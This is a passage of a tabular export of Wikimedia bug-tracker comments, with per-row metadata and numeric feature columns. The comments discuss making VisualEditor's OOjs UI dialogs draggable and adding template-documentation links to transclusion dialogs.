+Even if the dialog is movable an resizable and movable, the contents below are only visible through a semi-opaque mask and the contents cannot be scrolled because the modal dialog is capturing events (on purpose, it's modal).",,,1413922302,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,68,,0,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0
+237018,OOUI: Dialogs should be repositionable/draggable,"> You can't edit anything, tables, Chinese or galleries, 
+> if there is big immovable box in the way.
+
+This isn't really true:  you can close the box.  With the box open (and movable), you can *see* the content on the page, but you still can't edit it.  When you've got a dialog box open, but all your typing ends up on the page underneath the box, then we call that a bug.
+
+The problem here is that (depending on the size of the box and the exact location of your cursor when you open it), what you need to *see* on the page might be covered up by the box.  ""Open box, realize that you've forgotten how to spell something, realize that the box is covering up that word, close box, check spelling, open box again, finally type"" is not as efficient as ""Open box, drag it out of the way, start typing"".",,,1407787535,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,58,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+237014,OOUI: Dialogs should be repositionable/draggable,"(In reply to James Forrester from comment #18)
+> (In reply to Spinningspark from comment #17)
+> > Why is this languishing at low priority? Fixing something that is preventing
+> > the editor from reading the thing he is editing is HIGH priority.
+> 
+> ""High"" priority would mean that it's more important than editing tables,
+> editing in Chinese, or editing galleries. ""High"" priority is not appropriate
+> for this relatively minor and very complex enhancement request.
+
+You can't edit anything, tables, Chinese or galleries, if there is big immovable box in the way.",,,1407777158,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,58,,0,1,1,0,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1
+237008,OOUI: Dialogs should be repositionable/draggable,"Just to be clear, this is a DESIGN TEAM problem, because it's a problem with the OOjs UI, which VE uses, but which is under the control of the Design team. The issue is that the OOjs UI WindowManager lacks a resizing event. That issue affects every use of windows in the OOjs UI, not just VE's use of windows.
+
+Why isn't this bug showing on the list of problems that the Design Team is considering (https://bugzilla.wikimedia.org/buglist.cgi?keywords=design&keywords_type=allwords&list_id=335932&order=changeddate%20DESC%2Cvotes%20DESC%2Cpriority%2Cbug_status%20DESC%2Cassigned_to%2Cbug_id&query_format=advanced&resolution=--- )? (I got that list via https://www.mediawiki.org/wiki/Design ) 
+
+Relatedly, why is the priority for fixing this bug being set by the VE team, rather than by the Design team?",,,1407776333,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,58,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+237001,OOUI: Dialogs should be repositionable/draggable,"(In reply to Spinningspark from comment #17)
+> Why is this languishing at low priority? Fixing something that is preventing
+> the editor from reading the thing he is editing is HIGH priority.
+
+""High"" priority would mean that it's more important than editing tables, editing in Chinese, or editing galleries. ""High"" priority is not appropriate for this relatively minor and very complex enhancement request.",,,1407771922,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,58,,0,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1
+236992,OOUI: Dialogs should be repositionable/draggable,Why is this languishing at low priority? Fixing something that is preventing the editor from reading the thing he is editing is HIGH priority.,,,1407759592,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,58,,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+236985,OOUI: Dialogs should be repositionable/draggable,*** Bug 67952 has been marked as a duplicate of this bug. ***,,,1405474879,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,54,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+236977,OOUI: Dialogs should be repositionable/draggable,Moving to the OOjs UI product as that code is now shared.,,,1387222480,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,24,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+236971,OOUI: Dialogs should be repositionable/draggable,Please see https://upload.wikimedia.org/wikipedia/commons/d/d9/Wide_edit_window_%28Proposal_for_Wikimedia_VisualEditor%29.png for an example of what a wide window might look like for reviewing changes.,,,1387216858,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0
+236966,OOUI: Dialogs should be repositionable/draggable,"The change review window is also too small to be useful for some editors, especially if a lot of changes have been made.",,,1385605063,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,21,,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+236960,OOUI: Dialogs should be repositionable/draggable,Understandable. You will receive a bugmail notification once this bug report is fixed.,,,1382574004,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,16,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+236954,OOUI: Dialogs should be repositionable/draggable,"Let me know when this is fixed, because I'm not going to stress myself by using VE until then - it just makes my everyday editing too much like hard work. When it's fixed (and perhaps a few more of my long-standing complaints - hidden comments, red links appearing as red, etc), I might carry on with debugging your system. Till then, why should I bother?",,,1382566037,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,16,,1,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+236951,OOUI: Dialogs should be repositionable/draggable,"(In reply to comment #9)
+> Two months since there's been any comment on this ... I admit I've pretty
+> much
+> given up using VE (too tedious because of this and other problems, plus some
+> stuff going on in Real Life which makes me want to reduce Wikistress). Any
+> chance of it getting fixed some time? I'm sure I'm not the only person
+> affected.
+
+Some time? Yes. Soon? No. In my view, it's not as important as fixing things like copy-and-paste or adding citation template quick-add support or editing tables.",,,1380756245,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,13,,1,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1
+236947,OOUI: Dialogs should be repositionable/draggable,"Two months since there's been any comment on this ... I admit I've pretty much given up using VE (too tedious because of this and other problems, plus some stuff going on in Real Life which makes me want to reduce Wikistress). Any chance of it getting fixed some time? I'm sure I'm not the only person affected.",,,1380755973,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,0
+236944,OOUI: Dialogs should be repositionable/draggable,"Prioritisation of work is done on how much it interferes with people using the software, not how long ago it was first mentioned as an issue. For example, bug 4 (!) is from 2004.
+
+I'm sorry that this is getting in the way of your use of VisualEditor, but I think that adding copy and paste support (for example) should happen first. I could ""upgrade"" the importance of this to ""high"" but it wouldn't get the code written any faster. :-(",,,1375472653,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,4,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+236941,OOUI: Dialogs should be repositionable/draggable,"Six weeks on from first request it's depressing to see this is still ""low enhancement"". Example: stub-sorting a Russian icehockey player, I open the dialog box to remove the existing stub tag and then go to the dropdown menu to add ""Russia-icehockey-bio-stub"", only to discover that there are separate stubs for wingers, goalies, etc. I didn't notice what he was.  I have to quit the dialog box, find he's a winger, re-open it, re-delete the old stub, return to the dropdown menu to add the new stub template.  The inability to move or shrink the dialogue box makes ordinary routine wikignoming harder work. But I suppose the target market of newbies don't do things like that, and we established editors can be trusted to struggle on regardless (some of us, perhaps a diminishing number), however ignored our needs may be?  
+
+Yes, I could abandon VE and this wouldn't trouble me any more, but I'm trying to help by persevering in using it to help you debug it. In return, how about a little attention to one of the first issues I raised?",,,1375470897,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+236935,OOUI: Dialogs should be repositionable/draggable,"How hard is it to make the dialog box moveable? Really? There is what, one parameter that needs to be changed? If this were a really hard problem, it would be understandable that the VE team was deferring this for more important things. But it's not that hard (I hope; if so, that bodes poorly for VE), and it impacts LOTS of editors. Yes, it affects the dialog box for page settings, when doing categories. But there is the identical problem when adding a caption for an image (Media settings dialog; might want to know how something in the article is spelled) and possibly for the other dialog boxes (for example, in the Media dialog, searching for an image where the search term has an unusual spelling).
+
+Even better would be the ability to copy/paste from the main editing window to a field in the dialog box. I realize that has potential ramifications for loss of focus - it would be undesirable for the dialog box to disappear *behind* the main editing window. Still, in Mac OS X, the ""Force Quit Applications"" dialog box is moveable, and the user is able to copy text from other windows, but the dialog box remains on top of every window until it is closed. (Excessive, actually: the ideal is to have the VE dialog box float on top of the main editing window, ONLY.)
+
+But we (as in, Wikipedia editors) would settle for a really minimal solution, initially - just make the dialog boxes moveable. Please?",,,1374967939,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+236930,OOUI: Dialogs should be repositionable/draggable,"Any movement on this? Low-priority according to the development team, I accept, but it's a pretty important chunk of the editing workflow for a lot of tasks.",,,1373882058,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+236926,OOUI: Dialogs should be repositionable/draggable,"If I want to add ""Category:1917 births"" and ""Category 1987 deaths"" to an article, is it undesirable multitasking to expect to be able to see the lead sentence which says ""'''Joe Bloggs (1917-1987)..."", rather than having to remember the two dates? Or if I want to assign ""Category:Villages in ..."" for some area whose placenames are unfamiliar and have difficult spellings? Please let me see the article while adding categories: a simple way would be to let me drag, or shrink, the dialogue box which at present totally obscures the article text. (I was the original reporter of this bug on 21 June, and the response above seems to misunderstand its importance.)",,,1372628541,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,2,False,,,-1,,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+236921,OOUI: Dialogs should be repositionable/draggable,"(In reply to comment #1)
+> The idea of the dialog being modal is that you aren't multi-tasking with it
+> at all.
+
+This isn't asking for multi-tasking, it's asking for the ability to drag the dialog out of the way so that you can get context for the single-tasking, err, task. :-)",,,1371835847,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1
+236914,OOUI: Dialogs should be repositionable/draggable,Makes sense.,,,1371835810,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+236909,OOUI: Dialogs should be repositionable/draggable,"The idea of the dialog being modal is that you aren't multi-tasking with it at all.
+
+As far as adding a category or changing the default sort of a category directly from some other mode (such as reading, or editing paragraph text) we should look at those workflows rather than dissolve the intentional model-ness of the dialog.
+
+For example:
+
+- Perhaps categories could be edited at the bottom of the page, rather than inside a dialog.
+- Maybe the category editor could use some other kind of UI container that isn't modal.
+
+etc.",,,1371835724,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+51772,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","When in the template editing dialog, a link going to the [template:name] page, would be really helpful for:
+* Reading detailed documentation
+* Easy access to (edit or examine) template source code
+
+**See Also**:
+* {T52354}
+* {T52656}
+* {T53311}",Lowest,10.0,1371589200,1483459346.0,PHID-USER-hphmqcx66p6d6gvmjzp7,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-axbu733atg4fftym2lek,task_description,resolved,True,c1,2,False,False,False,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+781308,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","Change 257443 merged by jenkins-bot:
+MWTemplatePage: Show a link to the template even when there's a description
+
+[[https://gerrit.wikimedia.org/r/257443]]",,,1482231864,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,False,,,181,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+574433,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","Change 257443 had a related patch set uploaded (by Jforrester):
+MWTemplatePage: Show a link to the template even when there's a description
+
+[[https://gerrit.wikimedia.org/r/257443]]
+",,,1449525412,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,False,,,127,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+521539,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","Exists templates with variable parameter names. If you create a tTD for a part of the parameters, then it just do not describe the other part of parameters and disappear link to the documentation. eg https://ru.wikipedia.org/wiki/Ш:Familytree",,,1441449224,,PHID-USER-5joeladhczukimiv4rwl,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,False,,,113,,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+249451,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","MediaWiki doesn't enforce any particular page being a documentation page, it's a thing made up by users.",,,1414817959,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,True,,,69,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+249450,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","If this wasn't clear enough, the user asks for a link to the template /documentation/ page.
+Here's another example of the need to access documentation page:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=67986#c1
+If the user doesn't read the template's manual, he currently has no way to guess that there may be several required parameters and which ones he needs to fill for the template to work correctly.",,,1405348985,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,False,,,54,,1,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+249449,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","This is being asked at ru.wp even for templates which have TemplateData info;
+quoting the reasoning, the user wants to be able to access:
+-full template documentation 
+-see more examples of which are difficult to describe in words 
+-read about other similar templates 
+-edit template data.",,,1405346626,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,False,,,54,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0
+249448,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","This was done two months ago for templates which lack documentation; I'm closing this as a ""WORKSFORME"" at this point, as if the user has to go read the template's page to understand what the documentation is telling them, the creator of the documentation has utterly failed.",,,1399324925,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,True,,,44,,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+249446,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","This bug seems to have strayed/widened far from the original simple request (which I remember also making on the feedback page at some point many days ago): when one is adding a template (""transclusion""), a button to link to the template page would be very useful - to be able to read all the detailed description there. Look at [[Template:Genukiwry]] as an example - it couldn't all be coded up into TemplateData, but it could be made accessible by providing a simple link which would open in a new tab / new window / popup (ie anything which wouldn't spoil the ongoing editing operation). This facility would be an area where VE could provide a better editing experience than Edit Source, and surely wouldn't need a huge programming effort.",,,1373999921,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,3,False,,,2,,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+249442,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","I googled ""mediawiki glossary"" and found this: 
+*[[mw:Manual:Glossary]] - now bookmarked. :)
+
+I am not using ""parameter"" correctly in the context of MediaWiki. I couldn't find ""parser"" listed in the glossary. :)
+
+My point with both bugs is to get links to the template pages so that people can edit them in wikitext source mode there on the template page. Nothing more. I am not interested in being able to edit templates within VE at all. 
+
+In fact, With the exception of reference templates I think editing of templates within VE should be disabled since it is not WYSIWYG, and only adds a new layer of abstraction. I think the only thing that should be provided by VE is a link to the template page. 
+
+If an editor of Wikipedia like me with 26,000 edits does not understand the terms (parameter) used in VE template editing, then imagine the difficulty new editors have when they see those terms listed in VE template editing. 
+
+I would like VE mainly to do text editing and references. Nothing more for now. I think people would be ecstatic with that. Since there are so many reference templates, I think that alone may require an increase in the number of paid full-time developers assigned to VE. 
+
+I actually understand a lot about table editing and template editing, but only at the wikitext editing level. I can do it, but not always explain it, since my knowledge mostly comes from hacking at it over the years. :) I help edit this page:
+*[[Help:Sorting]]",,,1371717599,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-axbu733atg4fftym2lek,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+249436,"VisualEditor: Transclusion dialogs panes should include a link to the template's definition page (for further documentation), even if there is TemplateData to document it","(In reply to comment #1)
+> Here is a page that has a table and a couple transcluded navigation-box
+> templates at the bottom:
+> [[List of countries by incarceration rate]]
+> 
+> With VisualEditor (VE) the table is editable and WYSIWYG.
+
+(Yay. :-))
+
+> But with VE the existing text in the 2 navigation boxes can not be edited as
+> far as I can tell. At least not within VE from that page. I am talking about
+> after clicking the edit icons for the navigation boxes.
+
+Yes, VisualEditor is disabled for the Template namespace, and likely will be for a very long time (or forever). It's mostly used for very complicated transclusion wikicode which often can't be edited visually, because it doesn't form a complete document, only part of one.
+
+> New parameters can be added to one of the templates, but not to the other. I
+> don't see a way to edit the text for existing parameters in either navigation
+> box. 
+
+I'm a bit lost here - you mean parameters on [[List of countries by incarceration rate]]'s invocations of [[Template:Incarceration]] and [[Template:Law country lists]]? Those templates take no parameters, though it's possible to add new parameters to template invocations that don't currently have one - see my edit (actually two edits) with VisualEditor here: https://en.wikipedia.org/w/index.php?title=List_of_countries_by_incarceration_rate&diff=560637005&oldid=559696805
+
+> So to be able to edit one of those templates in source mode or otherwise it
